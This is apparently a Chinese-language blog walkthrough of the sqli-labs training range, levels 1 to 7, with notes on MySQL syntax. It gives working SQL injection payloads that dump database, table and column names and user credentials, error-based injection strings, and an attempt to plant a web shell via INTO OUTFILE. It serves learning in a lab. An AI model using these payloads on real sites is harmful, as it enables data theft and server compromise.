sqli-lab闯关

前言

sql注入一直是我想学但是又感到无力的技术, 最主要的原因还是对于数据库的使用还比较陌生, 这两天突然发现有一个sql注入的靶场–sqli-lab, 所以就搭建在了本地玩玩.
除了手工注入外, 也有一些自动化注入工具. 推荐下sqlmap(需要python2.x环境), 有的时候还是蛮好用的, 有时间会记录下用法.

环境搭建

sqli-lab的 GitHub 源代码: https://github.com/Audi-1/sqli-labs
需要的环境 : apache,mysql. 在其它的教程中我还看到需要tomcat,js等, 不过我目前还没用到, 暂时先不考虑.

下载后放在web目录下, 但是首次通过浏览器访问时可能会链接数据库失败, 需要在/sqli-labs/sql-connections/db-creds.inc文件中设置mysql数据库的密码.
如果你是像我一样使用的phpstudy提供的web环境的话, 数据库的初始用户名和密码通常都是root.

修改后再用浏览器访问第一关, 如果看到下面的内容, 就说明已经搭建好了.

Mysql常用语法

说实话, 真心觉得mysql的语法很难记, 不知道是不是因为这个语法本身就很难, 也可能是我平时实在太少能用到数据库了, 所以想在这里记录一些常用的语法.
数据库本质上就是一个二维的表格, 所以在阅读相关语法时, 不妨在心里想象着一个表格, 并考虑执行了相关操作后, 这张表格会发生怎样的变化或者告诉你怎样的信息.
注意: mysql数据库语句对大小写不敏感.

命令 效果
SELECT 从数据库中提取数据
UPDATE 更新数据库中的数据
DELETE 从数据库中删除数据
INSERT INTO 向数据库中插入新数据
CREATE DATABASE 创建新数据库
ALTER DATABASE 修改数据库
CREATE TABLE 创建新表
ALTER TABLE 变更(改变)数据库表
DROP TABLE 删除表
CREATE INDEX 创建索引(搜索键)
DROP INDEX 删除索引

查询

对于数据库的操作, 最常见的就是增,删,查,改.
select就是对应着查询这个操作, 估计也是在sql注入中常用的, 例如

1
2
3
select * from table_name; # 在table_name表中查询所有记录的所有元素
select number from table_name; # 在table_name表中查询所有记录的name元素
select number from table_name where user='yjn' and password='f**k you'; # 在table_name表中查询元素user为'yjn且password为'f**k you'的记录的name元素

其中第三条就是大多数登录界面的基本雏形.
但是select的作用并不光是查询可以概括, 因为使用select同样可以返回数据库函数的值, 例如

1
select database(); # 可以显示当前使用的数据库的名称.

所以select的作用也有些类似编程语言中的return
除此之外, 还可以使用limit来指定从查询的结果集中返回多少条记录.
limit a,b 代表从第a条记录开始(a >= 0)返回b条语句.
所以select的用法总结起来就是

1
select [数据库函数](字段1,字段2,...) from (table_name) [where 条件(s)];

插入

1
INSERT INTO table_name  (field1, field2,...fieldN)  VALUES  (valueA1,valueA2,...valueAN),(valueB1,valueB2,...valueBN),(valueC1,valueC2,...valueCN)......;

这是指定了记录元素的插入多条(或者单条)记录的语法.
如果所有的元素都要添加数据的话, 可以省去field的部分, 也就是

1
INSERT INTO table_name VALUES  (valueA1,valueA2,...valueAN),(valueB1,valueB2,...valueBN),(valueC1,valueC2,...valueCN)......;

删除

1
DELETE from table_name [where Clause];

删除table_name表中符合条件Clause的记录, 如果没有指定where, 那么就会删除该表中的所有记录.

修改

以下是 UPDATE 命令修改 MySQL 数据表数据的通用 SQL 语法:

1
2
UPDATE table_name SET field1=new-value1, field2=new-value2
[WHERE Clause]

数据库函数

函数名 功能
database() 显示当前使用的数据库的名称
now() 显示当前时间
version() 显示mysql服务版本信息
concat(str1,str2…) 将参数中的字符串拼接, 返回str1str2…
concat_ws(char,str1,str2…) 基本同上, 返回str1charstr2char…
length(str) 返回字符串的长度
user() 返回用户名
char() 将十进制参数转为对应的ascII码
未完待续 随时更新

UNION操作符

用于连接两个以上的select语句的结果组合到一个结果集合中, 多个select语句会删除重复的数据. 例如

1
2
3
4
5
6
7
8
select country from websites UNION select country from apps;
+---------+
| country |
+---------+
| CN |
| IND |
| USA |
+---------+

流程总结

既然要刷题, 就得总结出套路来才有意义. 下面是我总结出的常用流程.
因为目前肯定不全, 所以我也会在这里随时随时保持更新.

  1. 判断是否存在注入
    如果题目中会显示报错信息那么通常可以注入, 例如, 最简单的情况是输入'显示报错信息, 那么这里就可能存在注入.

  2. 判断注入类型

    • 变量的储存类型?
      因为mysql数据库保存的信息可能按数值或字符串保存, 比如1和’1’. 这会导致有很多区别. 比如如果是按数值存储, 那么1-1就等价于0,字符串储存就是'1-1'的这段文本.

    • 变量的闭合方式?

  3. 判断数据列数
    查询返回的数据集中, 数据的格式是固定的. 自己构造payload时有必要与原来的格式相同(也就是列数, 不然会报错, 无法查询).
    可以使用order by [数字]来逐个测试, 也可以直接union select 1,2,3...来测试.

  4. 构造payload爆库
    构造查询语句获取数据库名, 表名, 列名, 具体数据等
    这里可能会需要用到information_schemaperformance_schema这两个数据库和其它的一些函数.

    information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。详情

sqli-labs 冲冲冲

Less-1|GET|Error based|Single quotes|String

终于可以开冲了.
来到第一关, 提示是在url中使用参数id来查询数据, 这也符合题目的描述.
经测试:

  • [URL]/?id=1,2,3,4....(get)均可以查询出name和password. 每个合法的id都对应着数据库中的一条数据.
  • [URL]/?id='会报错(Error based):You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
  • id=1-1会查询出id=1的数据, 说明是字符串(string)类型的查询.
  • [URL]?id=2'--+不报错, 说明是单引号(single quotes)闭合变量.
    以上信息其实题目中都有给出, 但考虑到实战中可没有这些提示, 所以学习在没有提示的情况下获取这些信息还是很有必要的.

下面的内容才是重点, 当构造payload :[URL]/?id=0' UNION SELECT 1,2,3--+,可以看到:

1
2
3
Welcome Dhakkan
Your login name:2
Your Password:3

说明结果集的数据有3列, 而第2列和第3列会被网页拿来使用.
到这里能大概猜测出查询语句了
SELECT filed1,filed2,filed3 FROM table WHERE ID='id' LIMIT 0,1

然后爆出数据库的一切信息.

  • 当前使用的数据库和所有数据库
    [URL]/?id=0' UNION SELECT 1,database(),(select group_concat(schema_name) from information_schema.schemata)--+

    1
    2
    3
    Welcome    Dhakkan 
    Your Login name:security
    Your Password:information_schema,challenges,mysql,performance_schema,security,test
  • security数据库的表
    [URL]/?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

    1
    2
    3
    Welcome    Dhakkan 
    Your Login name:2
    Your Password:emails,referers,uagents,users
  • 表中的列名
    [URL]/?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

    1
    2
    3
    Welcome    Dhakkan 
    Your Login name:2
    Your Password:id,username,password
  • 接着可以查询所有的用户名和密码
    [URL]/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

    1
    2
    3
    Welcome    Dhakkan 
    Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
    Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-2|GET|Error based|Intiger based

[URL]/?id=2-1正常显示, 说明是数值型.
[URL]/?id=0 union select 1,2,3显示2和3, 说明和上一题只是字符串和数值的区别, 所以剩下的步骤和上题相同.
例如[URL]/?id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

1
2
3
Welcome    Dhakkan 
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-3|GET|Error based|Single quotes with twist|String

一开始还是先判断下是字符串还是数值.
[URL]/?id=1-1,页面显示的是id=1时的数据, 说明是字符串类型.
尝试用上面的套路,
[URL]/?id=0' union select 1,2,3--+会发现报错了:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3-- ') LIMIT 0,1' at line 1

这里提示我们, 原来在变量的前面还有个(, 这对括号将我们的id包裹了起来, 也就是构造的payload没有生效. 所以需要把这对括号先闭合.
[URL]/?id=0') union select 1,2,3--+

1
2
3
Welcome    Dhakkan 
Your Login name:2
Your Password:3

OK, 剩下的步骤就按照第一题的流程就可以了.
[URL]/?id=0') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-4|GET|Error based|Double Quotes|String

如果首先尝试[URl]/?id=0' union select 1,2,3 --+, 会发现既没有报错, 也没有显示查询结果, 这样似乎有点奇怪. 这是因为这里不是使用的'进行闭合的.

  • [URl]/?id='--+ 不报错.
  • [URl]/?id=" --+ 报错, 判断出双引号和括号(" ")闭合.

[URL]/?id=0") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

Less-5|GET|Double Injection|Single Quotes|String

这道题和前面的就不太一样了.
访问[URL]/?id=1后:

1
2
Welcome    Dhakkan 
You are in...........

查询的信息是不会显示出来的, 这样就没法使用 union 查询我们想要的.
但是还有报错信息, 只能让目标出现在报错信息中, 这里需要使用新的注入方式: 报错注入.
报错注入常用的三种方法:

  1. 通过floor报错

    1
    and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    输出字符长度限制为64个字符

  2. 通过updatexml报错

    1
    and updatexml(1,payload,1)

    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效.

  3. 通过ExtractValue报错

    1
    and extractvalue(1, payload)

    **输出字符有长度限制, 最长32位.

这里我们使用floor报错.
解释下其中的一些语法:

语法 作用
count(*) 返回表中所有数据条数
floor(a) 返回小于等于a的最大的整数
rand(seed) 返回一个(0,1)的随机数, 参数为伪随机数种子
()x 将括号里的值取别名x
group by 根据给定数据列的每个成员对查询结果进行分组统计,得到一个分组汇总表

注:
虽然rand(0)可以产生随机数, 但因为种子固定, 每次调用都会产生相同的序列, 那么在每条语句中floor(rand(0)*2)的值是确定的,为011011….
floor报错的原理比较难, 不在此赘述, 可以参考这篇博客.

用上面的payload尝试获取数据库
http://localhost/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

1
2
Welcome    Dhakkan 
Subquery returns more than 1 row

说明查询的结果超过了64个字符. 可以放弃group_concat函数而使用LIMIT一条一条的查询.
[URL]/?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

1
2
Welcome    Dhakkan 
Duplicate entry 'information_schema;1' for key 'group_key'

只要遍历limit后的第一个参数就能获取整个表的信息.
后面的只要不断修改我们的payload就可以了.

Less-6|Double Injection|Double Quotes|String

和第五题只是单引号/双引号闭合的区别, 不再赘述.

Less-7|Dump into outfile|String

这关实在是太棒了.
令id=1, 显示如下:

1
2
Welcome    Dhakkan 
You are in.... Use outfile......

令id=1-1, 显示没有发生变化, 说明是字符型.
下面寻找闭合方式.
[URL]/?id=1回显正常.
[URL]/?id=1'--+语法错误.
[URL]/?id=1')--+语法错误.
[URL]/?id=1'))--+回显终于正常了.

这次我们发现, 查询结果既没有显示, 报错信息也都是固定的, 所以需要新的方法, 也就是提示我们的outfile.
在mysql中, 使用select [payload] into outfile [路径]可以写入文件. 这可真是太感人了, 我们又多了一种向目标主机中植入木马的方式.

但是….
构造payload:[URL]/?id=1' union select 1,"一句话",3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQackup\\" --+后总是提示有语法错误(一句话木马我就不写出来了, 别让defender又把我文件删了…), 于是我在第一关中构造了同样的payload, 报错如下:

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

有点难受, 可能是写入木马后defender检测到了, 于是限制了权限, 总之这里目前还有些问题, 但是思路就是写入木马后在连接. 如果对一句话木马有疑惑, 可以移步我之前关于一句话木马的文章.

参考